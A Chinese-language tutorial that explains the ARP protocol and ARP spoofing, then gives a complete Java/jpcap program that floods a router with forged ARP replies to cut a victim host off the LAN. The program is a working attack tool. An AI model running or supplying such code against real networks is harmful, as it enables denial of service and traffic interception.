基於JAVA的ARP欺騙的程式實現
在區域網當中,當主機或其它網路裝置有資料要傳送給另一個主機或裝置時,它必須要知道對方的IP地址,但僅僅有IP地址是不夠的,因為IP資料報文必須封裝成幀才能通過物理網路傳送,因此傳送站還必須有接收站的實體地址,所以需要一個從IP地址到實體地址的對映。ARP就是實現這個功能的協議。
我們通過一個簡單的例子來解釋一下ARP在區域網中的運作。
1.假設現在有一個主機A和一個主機B,二者處在同一個區域網當中。當主機A需要和主機B進行資料通訊的時候,主機A會在自己的ARP快取中查詢是否有與主機B對應的ARP表項。
2.如果A在自己的ARP快取當中找到了與主機B對應的ARP表,主機A直接利用ARP表中的MAC地址將IP資料包進行幀封裝,將資料包傳送給主機B。
3.如果A在自己的ARP快取中沒有找到與主機B對應的ARP表,則主機A將以廣播的方式傳送一個ARP請求,該請求中包含了主機A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同時包含了主機B的IP地址(目標IP地址)。由於請求是以廣播的形式傳送的,所以處於該區域網的所有主機都能夠檢測到該ARP請求,但是隻有和ARP請求中目標IP地址相同的主機才能夠收到ARP請求,其餘的主機都會講該ARP請求拋棄。主機B收到由A傳送的ARP請求後,會向主機A以單播的形式傳送一個ARP回覆,該回復中包含了主機B的IP地址(源IP地址),主機B的MAC地址(源MAC地址),主機A的IP地址(目標IP地址),主機A的MAC地址(目標MAC地址)。同時會將主機A的IP地址和MAC地址寫入自己的ARP快取當中。4.主機A收到來自主機B的ARP的回覆後,將ARP回覆中的主機B的IP地址和MAC地址新增到自己的ARP快取當中。這樣主機A便能和主機B進行通訊了。
在對ARP的工作過程進行剖析後,我們就能夠對ARP欺騙進行講解了。
ARP欺騙分為兩種,一種是針對路由器進行欺騙,使路由器的ARP快取中建立錯誤的IP與MAC地址對映表,結果就是從路由器傳送的資料都發給了一個錯誤的MAC地址,造成主機無法正常接收資訊。另一種是對主機中的ARP快取進行欺騙,偽造主機路由器IP和MAC地址對映表,使主機發送的資料都發送到偽造後的MAC地址對應的主機上,這種情況不僅會使主機不能正常上網,而且還能用來竊取資訊。
我們用程式實現第一種ARP欺騙,並對第一種欺騙方式進行舉例。
假設現在主機A和主機B通過路由器C連線在同一個區域網內,主機A是欺騙方,主機B是被欺騙方。主機A在自己的ARP快取中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主機B的IP地址IP_B。接下來,主機A自己生成一個ARP回覆,該回復的源IP並不是主機A的IP地址,而是冒充主機B的IP地址IP_B,同時編造一個不存在的MAC地址作為回覆的源MAC地址,目標IP是IP_C,目標MAC地址是MAC_C。這個ARP回覆以單播的形式傳送給路由器C之後,路由器並不會驗證回覆的真實性,而是會把IP_B和一個不存在的MAC地址寫入自己的ARP快取,此時,所有通過路由器傳送給主機B的資料,都會因為找不到目標而傳送失敗。
總結一下:主機A冒充主機B不斷向路由器傳送一個包含錯誤的IP和MAC對映表的ARP回覆,使經由路由器發給B的資料無法到達目的地,從而致使主機B無法正常上網。
接下來,我們用JAVA程式來實現這個欺騙過程。注意:JAVA自身是沒有辦法對資料鏈路層進行相關操作的,而ARP包的傳送處於資料鏈路層。我們必須藉助WinPcap來實現對資料鏈路層的相關操作,同時需要jpcap來作為溝通JAVA和WinPcap的媒介。所以應該提前安裝WinPcap和jpcap。
需要補充解釋一點:我們會在程式當中偽造一個ARP回覆,這裡必須瞭解ARP報文的結構。報文結構如下:
上圖詳細的說明了報文的構成,我們在生成ARP回覆時,是通過jpcap提供的類ARPPacket來生成的,必須要把ARP中的每一個數據填充清楚,否則就會發送不成功。
程式碼如下:
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class Test{
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺騙的目標IP地址
byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺騙的目標目標MAC陣列
InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址
byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC陣列
// 列舉網絡卡並開啟裝置
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //列舉網絡卡裝置
NetworkInterface device = devices[2]; //選擇網絡卡裝置
JpcapSender sender = JpcapSender.openDevice(device); //開啟網絡卡裝置
// 設定ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER; //硬體型別
arp.prototype = ARPPacket.PROTOTYPE_IP; //協議型別
arp.operation = ARPPacket.ARP_REPLY; //操作型別 REPLY 表示型別為應答
arp.hlen = 6; //硬體地址長度
arp.plen = 4; //協議型別長度
arp.sender_hardaddr = srcmac; //傳送端MAC地址
arp.sender_protoaddr = srcip.getAddress(); //傳送端IP地址
arp.target_hardaddr = desmac; //目標硬體地址
arp.target_protoaddr = desip.getAddress(); //目標IP地址
// 定義乙太網首部
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP; //設定幀的型別為ARP幀
ether.src_mac = srcmac; //源MAC地址
ether.dst_mac = desmac; //目標MAC地址
arp.datalink = ether; //新增
// 傳送ARP應答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(10);
}
}
}